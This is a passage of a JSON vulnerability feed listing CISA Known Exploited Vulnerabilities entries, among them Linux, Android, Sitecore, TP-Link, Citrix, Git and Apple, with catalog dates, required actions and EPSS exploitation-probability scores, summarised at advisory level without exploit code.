score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-5086&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-5086, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-38352","cveId":"CVE-2025-38352","aliases":[],"kind":"vulnerability","title":"Linux Kernel Time-of-Check Time-of-Use (TOCTOU) Race Condition Vulnerability","summary":"Linux kernel contains a time-of-check time-of-use (TOCTOU) race condition vulnerability that has a high impact on confidentiality, integrity, and availability.","detail":"CISA added this entry on 2025-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-04","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-04","dueAt":"2025-09-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01357,"percentile":0.71464,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-38352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-38352","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-38352 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-38352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-38352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-48543","cveId":"CVE-2025-48543","aliases":[],"kind":"vulnerability","title":"Android Runtime Use-After-Free Vulnerability","summary":"Android Runtime contains a use-after-free vulnerability potentially allowing a chrome sandbox escape leading to local privilege escalation.","detail":"CISA added this entry on 2025-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-04","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Runtime","stacks":["Android","Runtime"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-04","dueAt":"2025-09-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00634,"percentile":0.50104,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-48543&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-48543","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-48543 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48543&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-48543, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-53690","cveId":"CVE-2025-53690","aliases":[],"kind":"vulnerability","title":"Sitecore Multiple Products Deserialization of Untrusted Data Vulnerability","summary":"Sitecore Experience Manager (XM), Experience Platform (XP), Experience Commerce (XC), and Managed Cloud contain a deserialization of untrusted data vulnerability involving the use of default machine keys. This flaw allows attackers to exploit exposed ASP.NET machine keys to achieve remote code execution.","detail":"CISA added this entry on 2025-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-04","updatedAt":null,"regions":["Global"],"vendor":"Sitecore","product":"Multiple Products","stacks":["Sitecore","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-04","dueAt":"2025-09-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.60601,"percentile":0.99139,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-53690&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-53690","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-53690 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53690&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-53690, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-50224","cveId":"CVE-2023-50224","aliases":[],"kind":"vulnerability","title":"TP-Link TL-WR841N Authentication Bypass by Spoofing Vulnerability","summary":"TP-Link TL-WR841N contains an authentication bypass by spoofing vulnerability within the httpd service, which listens on TCP port 80 by default, leading to the disclose of stored credentials. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-03","updatedAt":null,"regions":["Global"],"vendor":"TP-Link","product":"TL-WR841N","stacks":["TP-Link","TL-WR841N"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-03","dueAt":"2025-09-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20021,"percentile":0.97419,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-50224&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-50224","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-50224 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-50224&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-50224, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-9377","cveId":"CVE-2025-9377","aliases":[],"kind":"vulnerability","title":"TP-Link Archer C7(EU) and TL-WR841N/ND(MS) OS Command Injection Vulnerability","summary":"TP-Link Archer C7(EU) and TL-WR841N/ND(MS) contain an OS command injection vulnerability that exists in the Parental Control page. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-03","updatedAt":null,"regions":["Global"],"vendor":"TP-Link","product":"Multiple Routers","stacks":["TP-Link","Multiple Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-03","dueAt":"2025-09-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.37731,"percentile":0.98532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-9377&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-9377","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-9377 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-9377&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-9377, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-24363","cveId":"CVE-2020-24363","aliases":[],"kind":"vulnerability","title":"TP-link TL-WA855RE Missing Authentication for Critical Function Vulnerability","summary":"TP-link TL-WA855RE contains a missing authentication for critical function vulnerability. This vulnerability could allow an unauthenticated attacker (on the same network) to submit a TDDP_RESET POST request for a factory reset and reboot. The attacker can then obtain incorrect access control by setting a new administrative password. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-02","updatedAt":null,"regions":["Global"],"vendor":"TP-Link","product":"TL-WA855RE","stacks":["TP-Link","TL-WA855RE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-02","dueAt":"2025-09-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22187,"percentile":0.97657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-24363&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-24363","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-24363 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-24363&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-24363, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-55177","cveId":"CVE-2025-55177","aliases":[],"kind":"vulnerability","title":"Meta Platforms WhatsApp Incorrect Authorization Vulnerability","summary":"Meta Platforms WhatsApp contains an incorrect authorization vulnerability due to an incomplete authorization of linked device synchronization messages. This vulnerability could allow an unrelated user to trigger processing of content from an arbitrary URL on a target’s device.","detail":"CISA added this entry on 2025-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-02","updatedAt":null,"regions":["Global"],"vendor":"Meta Platforms","product":"WhatsApp","stacks":["Meta Platforms","WhatsApp"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-02","dueAt":"2025-09-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13084,"percentile":0.96322,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-55177&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-55177","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-55177 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55177&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-55177, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-57819","cveId":"CVE-2025-57819","aliases":[],"kind":"vulnerability","title":"Sangoma FreePBX Authentication Bypass Vulnerability","summary":"Sangoma FreePBX contains an authentication bypass vulnerability due to insufficiently sanitized user-supplied data allows unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution.","detail":"CISA added this entry on 2025-08-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-29","updatedAt":null,"regions":["Global"],"vendor":"Sangoma","product":"FreePBX","stacks":["Sangoma","FreePBX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-29","dueAt":"2025-09-19","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95024,"percentile":0.99861,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-57819&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-57819","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-57819 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-57819&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-57819, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-7775","cveId":"CVE-2025-7775","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler Memory Overflow Vulnerability","summary":"Citrix NetScaler ADC and NetScaler Gateway contain a memory overflow vulnerability that could allow for remote code execution and/or denial of service.","detail":"CISA added this entry on 2025-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-26","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler","stacks":["Citrix NetScaler","Citrix","NetScaler"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-26","dueAt":"2025-08-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20284,"percentile":0.97453,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-7775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-7775","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-7775 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-7775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-7775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-8068","cveId":"CVE-2024-8068","aliases":[],"kind":"vulnerability","title":"Citrix Session Recording Improper Privilege Management Vulnerability","summary":"Citrix Session Recording contains an improper privilege management vulnerability that could allow for privilege escalation to NetworkService Account access. An attacker must be an authenticated user in the same Windows Active Directory domain as the session recording server domain.","detail":"CISA added this entry on 2025-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-25","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"Session Recording","stacks":["Citrix NetScaler","Citrix","Session Recording"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-25","dueAt":"2025-09-15","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03481,"percentile":0.89025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-8068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-8068","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-8068 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-8068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-8068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-8069","cveId":"CVE-2024-8069","aliases":[],"kind":"vulnerability","title":"Citrix Session Recording Deserialization of Untrusted Data Vulnerability","summary":"Citrix Session Recording contains a deserialization of untrusted data vulnerability that allows limited remote code execution with privilege of a NetworkService Account access. Attacker must be an authenticated user on the same intranet as the session recording server.","detail":"CISA added this entry on 2025-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-25","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"Session Recording","stacks":["Citrix NetScaler","Citrix","Session Recording"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-25","dueAt":"2025-09-15","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21089,"percentile":0.9756,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-8069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-8069","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-8069 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-8069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-8069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-48384","cveId":"CVE-2025-48384","aliases":[],"kind":"vulnerability","title":"Git Link Following Vulnerability","summary":"Git contains a link following vulnerability that stems from Git’s inconsistent handling of carriage return characters in configuration files.","detail":"CISA added this entry on 2025-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-25","updatedAt":null,"regions":["Global"],"vendor":"Git","product":"Git","stacks":["Git"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-25","dueAt":"2025-09-15","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04379,"percentile":0.91216,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-48384&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-48384","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-48384 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48384&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-48384, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-43300","cveId":"CVE-2025-43300","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability","summary":"Apple iOS, iPadOS, and macOS contain an out-of-bounds write vulnerability in the Image I/O framework.","detail":"CISA added this entry on 2025-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-21","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-21","dueAt":"2025-09-11","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.65159,"percentile":0.99247,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-43300&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-43300","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-43300 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-43300&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-43300, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-54948","cveId":"CVE-2025-54948","aliases":[],"kind":"vulnerability","title":"Trend Micro Apex One OS Command Injection Vulnerability","summary":"Trend Micro Apex One Management Console (on-premise) contains an OS command injection vulnerability that could allow a pre-authenticated remote attacker to upload malicious code and execute commands on affected installations.","detail":"CISA added this entry on 2025-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. 